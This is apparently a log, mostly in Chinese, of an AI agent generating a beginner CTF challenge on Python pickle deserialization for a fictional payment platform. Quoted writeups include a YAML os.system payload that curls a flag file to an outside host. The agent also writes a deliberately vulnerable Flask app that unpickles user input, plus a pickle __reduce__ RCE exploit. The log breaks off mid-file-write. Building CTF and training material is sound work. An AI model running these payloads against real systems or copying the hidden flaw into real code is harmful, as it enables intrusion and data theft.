[2026-01-08 11:36:17] [DEBUG] [AIService] 阶段 2 不满足条件 knowledge_count > 1，跳过 [2026-01-08 11:36:17] [INFO] [AIService] 已从数据库加载已编译的 Prompt 模板（难度: 入门） [2026-01-08 11:36:17] [INFO] [AIService] 已加载 Prompt，包含 9 个阶段 [2026-01-08 11:36:17] [INFO] [AIService] 初始化 9 个阶段 (task_id: 20260108113616-473b2cf1-301d-4d0e-b7c1-edc96e632c05) [2026-01-08 11:36:17] [INFO] [AIService] 已设置系统提示词 (7643 字符) [2026-01-08 11:36:17] [INFO] [AIService] 已从数据库加载系统 Prompt (7643 字符) [2026-01-08 11:36:17] [INFO] [AIService] 开始生成 CTF 题目: 入门 / Python / Python反序列化 [2026-01-08 11:36:17] [INFO] [AIService] 用户指令内容: - 语言：Python - 难度级别：入门 - 漏洞类型：Python反序列化 - 应用场景：支付平台 [2026-01-08 11:36:17] [DEBUG] [AIService] 阶段 0 (ID: 1, 用户输入需求): processing - 正在处理: 用户输入需求... [2026-01-08 11:36:17] [DEBUG] [AIService] 阶段 0 (ID: 1, 用户输入需求): completed - 用户输入需求已确认 [2026-01-08 11:36:17] [SYSTEM] [AIService] ============================================================ [2026-01-08 11:36:17] [INFO] [AIService] [轮次 1] 发送给 AI 的消息: [2026-01-08 11:36:17] [INFO] [AIService] - 语言：Python - 难度级别：入门 - 漏洞类型：Python反序列化 - 应用场景：支付平台 [2026-01-08 11:36:18] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 11:36:25] [SYSTEM] [AIService] ============================================================ [2026-01-08 11:36:25] [INFO] [AIService] [轮次 1] AI 响应: [2026-01-08 11:36:25] [INFO] [AIService] 阶段1：用户输入需求 已接收用户需求： - 语言：Python - 难度：入门（1个漏洞） - 漏洞：Python反序列化 - 场景：支付平台 阶段2：漏洞主次分类 入门难度只允许1个漏洞，跳过此阶段。 阶段3：知识库获取 现在从知识库中获取Python反序列化相关的writeup学习材料。 [2026-01-08 11:36:25] [DEBUG] [AIService] 保存阶段 0 摘要: [2026-01-08 11:36:25] [DEBUG] [AIService] 阶段 0 (ID: 1, 用户输入需求): completed - 阶段 0 完成 [2026-01-08 11:36:25] [DEBUG] [AIService] 阶段 1 (ID: 3, 知识库获取): processing - 正在执行: 知识库获取 [2026-01-08 11:36:25] [INFO] [AIService] 进入阶段 1 (ID: 3): 知识库获取 [2026-01-08 11:36:25] [TOOL] [AIService] [轮次 1] AI 请求执行 1 个工具: [2026-01-08 11:36:25] [INFO] [AIService] 🔧 run_command: 参数: {"command": "python3 data/scripts/choice.py --difficulty=入门 --count=5 \"Python反序列化\""} [2026-01-08 11:36:25] [INFO] [AIService] 执行工具: run_command [2026-01-08 11:36:25] [INFO] [AIService] [Tool] 执行工具: run_command [2026-01-08 11:36:25] [INFO] [AIService] [Tool] 执行命令: python3 data/scripts/choice.py --difficulty=入门 --count=5 "Python反序列化"... [2026-01-08 11:36:25] [INFO] [AIService] [Tool] 执行 data/ 目录内的可执行文件，应用受限环境 [2026-01-08 11:36:25] [INFO] [AIService] 🔧 run_command: 结果: 📊 指定数量: 5 篇writeup 📁 分类 [Python反序列化]: 找到 7/9 个有效writeup ✅ 分类 [Python反序列化]: 从 7 个有效writeup中选择了 5 篇 ============================================================ 📚 最终汇总选出的 5 篇文章： - Bottle Poem.md - File Store.md - Homedrive.md - Pickle Store.md - flask_caching.md [2026-01-08 11:36:25] [INFO] [AIService] 🔧 run_command: 📊 指定数量: 5 篇writeup 📁 分类 [Python反序列化]: 找到 7/9 个有效writeup ✅ 分类 [Python反序列化]: 从 7 个有效writeup中选择了 5 篇 ============================================================ 📚 最终汇总选出的 5 篇文章： - Bottle Poem.md - File Store.md - Homedrive.md - Pickle Store.md - flask_caching.md [2026-01-08 11:36:25] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 11:36:28] [SYSTEM] [AIService] ============================================================ [2026-01-08 11:36:28] [INFO] [AIService] [轮次 2] AI 响应: [2026-01-08 11:36:28] [INFO] [AIService] 现在读取这些writeup文件的内容： [2026-01-08 11:36:28] [TOOL] [AIService] [轮次 2] AI 请求执行 1 个工具: [2026-01-08 11:36:28] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/Bottle Poem.md"} [2026-01-08 11:36:28] [INFO] [AIService] 执行工具: read_file [2026-01-08 11:36:28] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-08 11:36:28] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/Bottle Poem.md (1659 字符) [2026-01-08 11:36:28] [INFO] [AIService] 🔧 read_file: 结果: LFI: http://bottle-poem.ctf.sekai.team/show?id=/app/app.py /sign url uses some secret to create digital signature of a user session. http://bottle-poem.ctf.sekai.team/show?id=/app/config/secret.py reveals that secret. So, now we can create our own customized sessions. Viewing the src code of bottle: ``` def cookie_encode(data, key): ''' Encode and sign a pickle-able object. Return a (byte) string ''' msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac... (截断，共 1659 字符) [2026-01-08 11:36:28] [INFO] [AIService] 🔧 read_file: LFI: http://bottle-poem.ctf.sekai.team/show?id=/app/app.py /sign url uses some secret to create digital signature of a user session. http://bottle-poem.ctf.sekai.team/show?id=/app/config/secret.py reveals that secret. So, now we can create our own customized sessions. Viewing the src code of bottle: ``` def cookie_encode(data, key): ''' Encode and sign a pickle-able object. Return a (byte) string ''' msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest()) return tob('!') + sig + tob('?') + msg ``` There is usage of the pickle package which is vulnurable and allows RCE on deserialization. The full code: ``` import base64 import hashlib import hmac import pickle import requests sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu" unicode = str def tob(s, enc='utf8'): return s.encode(enc) if isinstance(s, unicode) else bytes(s) def touni(s, enc='utf8', err='stric ... (截断，共 1659 字符) [2026-01-08 11:36:28] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 11:36:32] [TOOL] [AIService] [轮次 3] AI 请求执行 1 个工具: [2026-01-08 11:36:32] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/File Store.md"} [2026-01-08 11:36:32] [INFO] [AIService] 执行工具: read_file [2026-01-08 11:36:32] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-08 11:36:32] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/File Store.md (15167 字符) [2026-01-08 11:36:32] [INFO] [AIService] 🔧 read_file: 结果: # KalmarCTF 2024 by *Hack Sleep Deploy Repeat* ([KalmarCTF](https://kalmarc.tf/teams/260), [CTFtime](https://ctftime.org/team/284495)) ## web ### File Store (59 Solves) #### Prompt > Upload your files on the Kalmar File Store and share them with your friends. > > Note: For this challenge, you will not be sharing it by anybody else. Thus, > you need to start your own instance. > > [https://filestore.chal-kalmarc.tf](https://filestore.chal-kalmarc.tf/) > > > <./file-store.zip> ... (截断，共 8025 字符) [2026-01-08 11:36:32] [INFO] [AIService] 🔧 read_file: # KalmarCTF 2024 by *Hack Sleep Deploy Repeat* ([KalmarCTF](https://kalmarc.tf/teams/260), [CTFtime](https://ctftime.org/team/284495)) ## web ### File Store (59 Solves) #### Prompt > Upload your files on the Kalmar File Store and share them with your friends. > > Note: For this challenge, you will not be sharing it by anybody else. Thus, > you need to start your own instance. > > [https://filestore.chal-kalmarc.tf](https://filestore.chal-kalmarc.tf/) > > > <./file-store.zip> ![File_Store.png](./File_Store.png) #### Reconnaissance Upon visiting the provided URL and spinning up an instance, we are presented with a web interface that allows the upload of files to a File Store web application, which is subsequently stored in a directory specific to the session ID. ![UI.png](./UI.png) #### Challenge Source ##### app.py (with our comments) ```python from flask import Flask, request, render_template, redirect, session from flask_session import Session # flask_ses ... (截断，共 8025 字符) [2026-01-08 11:36:32] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 11:36:35] [TOOL] [AIService] [轮次 4] AI 请求执行 1 个工具: [2026-01-08 11:36:35] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/Homedrive.md"} [2026-01-08 11:36:35] [INFO] [AIService] 执行工具: read_file [2026-01-08 11:36:35] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-08 11:36:35] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/Homedrive.md (1405 字符) [2026-01-08 11:36:35] [INFO] [AIService] 🔧 read_file: 结果: Short writeup per now. will update later create yaml file `!python/object/apply:os.system ["curl 172.30.0.14:1337 -d @/root/flag.txt"]` ``` http POST http://172.30.0.8:5000/register Host:manager.home.drive username=admin [email protected] password=admin HTTP/1.0 200 OK Content-Length: 37 Content-Type: application/json Date: Sun, 15 Aug 2021 03:07:47 GMT Server: Werkzeug/2.0.1 Python/3.9.6 { "message": "New user created!" } ``` ``` http http://172.30.0.8:5000/login Hos... (截断，共 1405 字符) [2026-01-08 11:36:35] [INFO] [AIService] 🔧 read_file: Short writeup per now. will update later create yaml file `!python/object/apply:os.system ["curl 172.30.0.14:1337 -d @/root/flag.txt"]` ``` http POST http://172.30.0.8:5000/register Host:manager.home.drive username=admin [email protected] password=admin HTTP/1.0 200 OK Content-Length: 37 Content-Type: application/json Date: Sun, 15 Aug 2021 03:07:47 GMT Server: Werkzeug/2.0.1 Python/3.9.6 { "message": "New user created!" } ``` ``` http http://172.30.0.8:5000/login Host:manager.home.drive username=admin [email protected] password=admin HTTP/1.0 200 OK Content-Length: 277 Content-Type: application/json Date: Sun, 15 Aug 2021 03:08:17 GMT Server: Werkzeug/2.0.1 Python/3.9.6 { "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjI5MDI1NzUzfQ.oOJybJDRRR6Op53UX2K37Kgbj_wPa1wkt2NbLGlRtBbbzFrPOFSvMkjDJK-E-2W1uzHCocpZllwCevPRfET9uFdFnaYfVhMa- xrNg4oUJaxV8QdUJh5w2PymDTpM8QzEOMdPl7QTkwjZnzLb7ARDaygM6jP37vDanRzkJMBrR2Q" } ... (截断，共 1405 字符) [2026-01-08 11:36:35] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 11:36:38] [TOOL] [AIService] [轮次 5] AI 请求执行 1 个工具: [2026-01-08 11:36:38] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/Pickle Store.md"} [2026-01-08 11:36:38] [INFO] [AIService] 执行工具: read_file [2026-01-08 11:36:38] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-08 11:36:38] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/Pickle Store.md (8997 字符) [2026-01-08 11:36:38] [INFO] [AIService] 🔧 read_file: 结果: # Pickle Store \- 223 Points / 109 Solves ## Background New pickles just dropped! Check out the store. [https://pickles-web.challenges.ctf.ritsec.club/](https://pickles- web.challenges.ctf.ritsec.club/) ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC- CTF-2023/images/Pasted%20image%2020230402122900.png) ## Enumeration **Home page:** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC- CTF-2023/images/Pasted%20image%2020230402122911.png) In h... (截断，共 8024 字符) [2026-01-08 11:36:38] [INFO] [AIService] 🔧 read_file: # Pickle Store \- 223 Points / 109 Solves ## Background New pickles just dropped! Check out the store. [https://pickles-web.challenges.ctf.ritsec.club/](https://pickles- web.challenges.ctf.ritsec.club/) ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC- CTF-2023/images/Pasted%20image%2020230402122900.png) ## Enumeration **Home page:** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC- CTF-2023/images/Pasted%20image%2020230402122911.png) In here, we can pick 4 different pickles. **View source page:** ```html [...]
cache all the things (this is python3) > http://web.chal.csaw.io:5000 This challenge serves up a Flask web application where we are able to upload a note with a title and file, which it puts into the Redis database. It also uses `flask_caching` on many endpoints just because. The source code was provided in `app.py` and the relevant parts are included below: ```python @app.route('/', methods=['GET', 'POST']) def notes_post(): if request.method... (截断，共 3550 字符) [2026-01-08 11:36:42] [INFO] [AIService] 🔧 read_file: # flask_caching (Web, 300 points) > cache all the things (this is python3) > http://web.chal.csaw.io:5000 This challenge serves up a Flask web application where we are able to upload a note with a title and file, which it puts into the Redis database. It also uses `flask_caching` on many endpoints just because. The source code was provided in `app.py` and the relevant parts are included below: ```python @app.route('/', methods=['GET', 'POST']) def notes_post(): if request.method == 'GET': return '''

Post a note

''' title = request.form.get('title', default=None) content = request.files.get('content', default=None) if title is None or content is None: return 'Missing fields', 400 content = content.stream.read() if len(title) > 100 or len(content) > 256: return 'Too long', 400 ... (截断，共 3550 字符) [2026-01-08 11:36:42] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 11:37:59] [SYSTEM] [AIService] ============================================================ [2026-01-08 11:37:59] [INFO] [AIService] [轮次 7] AI 响应: [2026-01-08 11:37:59] [INFO] [AIService] 阶段4：知识整理 ## 可借鉴技巧清单 | 技巧 | 来源 | 代码片段 | 适用场景 | |------|------|---------|---------| | Flask cookie 反序列化 | Bottle Poem.md | `pickle.loads(base64.b64decode(cookie_data))` | Flask session cookie 反序列化 | | Pickle RCE 利用 `__reduce__` | Pickle Store.md | `class RCE: def __reduce__(self): return (os.system, ("command",))` | 任意 Pickle 反序列化 | | Redis 缓存反序列化 | flask_caching.md | `pickle.loads(value[1:])` | Flask-Caching Redis 后端 | | 文件上传+反序列化组合 | File Store.md | `session['files'] = pickle.loads(file_content)` | 文件上传触发反序列化 | | YAML 反序列化 | Homedrive.md | `!python/object/apply:os.system ["command"]` | YAML 格式反序列化 | 阶段5：题目设计 ### 5.1 设计目标 - **差异度**：入门 ≥20%（基于现有 writeup 的创新） - **深度**：入门 1.5-4.0（设计为 3.0） - **趣味性**：入门 0-1 个啊哈时刻（设计 1 个：支付成功后的反序列化） ### 5.2 利用链设计 | 步骤 | 类型 | 技术点 | 深度 | 知识来源 | |------|------|--------|------|---------| | Step 1 | 正常功能 | 支付平台注册登录 | 1/10 | 场景设计 | | Step 2 | 正常功能 | 创建支付订单 | 2/10 | 场景设计 | | Step 3 | 漏洞利用 | 订单数据反序列化 | 3/10 | Pickle Store.md | | Step 4 | 获取 flag | 执行系统命令读取 flag | 4/10 | Bottle Poem.md | ### 5.3 核心代码预写 #### 漏洞触发代码（真实代码） ```python import pickle import base64 from flask import Flask, request, session, render_template, redirect, jsonify app = Flask(__name__) app.secret_key = 'payment_secret_key_12345' # 模拟数据库 orders_db = {} @app.route('/create_order', methods=['POST']) def create_order(): if 'user_id' not in session: return redirect('/login') order_data = request.form.get('order_data') if not order_data: return '订单数据不能为空', 400 # 漏洞点：直接反序列化用户输入的订单数据 try: order_obj = pickle.loads(base64.b64decode(order_data)) except: return '订单数据格式错误', 400 order_id = len(orders_db) + 1 orders_db[order_id] = order_obj return jsonify({'order_id': order_id, 'status': 'created'}) @app.route('/view_order/') def view_order(order_id): if 'user_id' not in session: return redirect('/login') if order_id not in orders_db: return '订单不存在', 404 order_obj = orders_db[order_id] # 这里会触发反序列化对象的 __repr__ 或 __str__ 方法 return render_template('order.html', order=order_obj) ``` #### exp 核心代码（真实代码） ```python import pickle import base64 import requests import os class RCE: def __reduce__(self): # 读取 flag 文件 return (os.system, ('cat /flag.txt > /tmp/flag_output.txt',)) def exploit(): url = "http://localhost:5000" # 1. 登录（简化版） session = requests.Session() session.post(f"{url}/login", data={'username': 'test', 'password': 'test'}) # 2. 创建恶意订单 payload = pickle.dumps(RCE()) order_data = base64.b64encode(payload).decode() response = session.post(f"{url}/create_order", data={'order_data': order_data}) order_id = response.json()['order_id'] # 3. 触发反序列化 session.get(f"{url}/view_order/{order_id}") # 4. 读取 flag 输出 response = session.get(f"{url}/static/flag_output.txt") print("Flag:", response.text) ``` #### 依赖清单 - Flask==2.3.2 - requests==2.31.0 ### 5.3.1 代码可运行性自检 1. **导入完整吗？** 是的，代码中用到的所有模块都有 import 2. **路由正确吗？** exp 请求的路径 `/create_order` 和 `/view_order/{order_id}` 与后端定义的路由一致 3. **参数名一致吗？** exp 发送的参数名 `order_data` 和后端接收的参数名一致 4. **响应格式对吗？** exp 期望的 JSON 响应格式和后端返回的格式一致 ### 5.4 简易 exp 草稿（用于 Docker 测试） ```python # 简易 exp 草稿（仅用于测试，阶段 7 会完善） import pickle import base64 import requests url = "http://localhost:5000" # Step 1: 登录 session = requests.Session() session.post(f"{url}/login", data={'username': 'test', 'password': 'test'}) # Step 2: 创建恶意订单 class RCE: def __reduce__(self): return (os.system, ('echo $DASFLAG > /tmp/flag.txt',)) payload = pickle.dumps(RCE()) order_data = base64.b64encode(payload).decode() response = session.post(f"{url}/create_order", data={'order_data': order_data}) print("创建订单响应:", response.text) # Step 3: 触发反序列化 order_id = response.json()['order_id'] session.get(f"{url}/view_order/{order_id}") # Step 4: 检查 flag 是否写入 response = session.get(f"{url}/static/flag.txt") print("Flag 内容:", response.text) ``` ### 5.5 设计摘要 ``` ### 设计摘要 - 题目名称：PaymentPickle - 利用链：登录 -> 创建订单（反序列化） -> 触发 RCE -> 获取 flag - 黑名单：无（入门难度） - 关键 payload：pickle.dumps(RCE()) 的 base64 编码 - 容器端口：5000 - 啊哈时刻：支付订单数据竟然是 Python 对象序列化，可以执行任意命令 ``` 阶段6：质量检查 ### 检查清单 - [✅] **深度达标**：平均深度 2.5，最高深度 4.0，符合入门要求（1.5-4.0） - [✅] **漏洞覆盖**：用户要求的 Python 反序列化漏洞在利用链中 - [✅] **代码可行**：阶段 5.3 的核心代码能正常运行 - [✅] **payload 兼容**：无黑名单，payload 不会被过滤 **所有检查通过，可以进入下一阶段** 阶段7：代码生成 ### 7.1 生成原则检查 1. **完整性**：包含所有设计的功能点和漏洞点 2. **零注释**：代码中禁止任何注释 3. **真实性**：模拟真实支付平台业务逻辑 4. **隐蔽性**：漏洞点自然隐藏在订单处理逻辑中 ### 7.2 增量生成顺序 #### 1. 后端代码 [2026-01-08 11:37:59] [DEBUG] [AIService] 保存阶段 1 摘要: [2026-01-08 11:37:59] [DEBUG] [AIService] 阶段 1 (ID: 3, 知识库获取): completed - 阶段 1 完成 [2026-01-08 11:37:59] [DEBUG] [AIService] 阶段 2 (ID: 4, 知识整理): completed - 阶段 2 完成 [2026-01-08 11:37:59] [DEBUG] [AIService] 阶段 3 (ID: 5, 题目设计): completed - 阶段 3 完成 [2026-01-08 11:37:59] [DEBUG] [AIService] 阶段 4 (ID: 6, 质量检查): completed - 阶段 4 完成 [2026-01-08 11:37:59] [DEBUG] [AIService] 阶段 5 (ID: 7, 代码生成): processing - 正在执行: 代码生成 [2026-01-08 11:37:59] [INFO] [AIService] 进入阶段 5 (ID: 7): 代码生成 [2026-01-08 11:37:59] [TOOL] [AIService] [轮次 7] AI 请求执行 1 个工具: [2026-01-08 11:37:59] [INFO] [AIService] 🔧 write_file: 参数: {"path": "output/PaymentPickle/app.py", "content": "import pickle\nimport base64\nimport os\nfrom flask import Flask, request, session, render_template, redirect, jsonify, send_from_directory\n\napp = Flask(__name__)\napp.secret_key = 'payment_platform_secret_key_2024'\napp.config['UPLOAD_FOLDER'] = '/tmp'\n\nusers_db = {'test': 'test'}\norders_db = {}\norder_counter = 1\n\n@app.route('/')\ndef index():\n if 'user_id' not in session:\n return redirect('/login')\n return render_templ... (截断) [2026-01-08 11:37:59] [INFO] [AIService] 执行工具: write_file [2026-01-08 11:37:59] [INFO] [AIService] [Tool] 执行工具: write_file [2026-01-08 11:37:59] [INFO] [AIService] [Tool] 写入文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/output/PaymentPickle/app.py (2787 字符) [2026-01-08 11:37:59] [INFO] [AIService] 🔧 write_file: 结果: 文件已保存: /Users/yu22x/Desktop/ge/ctf/ge10/web/output/PaymentPickle/app.py [2026-01-08 11:37:59] [INFO] [AIService] 🔧 write_file: 文件已保存: /Users/yu22x/Desktop/ge/ctf/ge10/web/output/PaymentPickle/app.py [2026-01-08 11:37:59] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 11:38:17] [SYSTEM] [AIService] ============================================================ [2026-01-08 11:38:17] [INFO] [AIService] [轮次 8] AI 响应: [2026-01-08 11:38:17] [INFO] [AIService] #### 2. 模板文件 - login.html [2026-01-08 11:38:17] [TOOL] [AIService] [轮次 8] AI 请求执行 1 个工具: [2026-01-08 11:38:17] [INFO] [AIService] 🔧 write_file: 参数: {"path": "output/PaymentPickle/templates/login.html", "content": "\n\n\n 支付平台 - 登录\n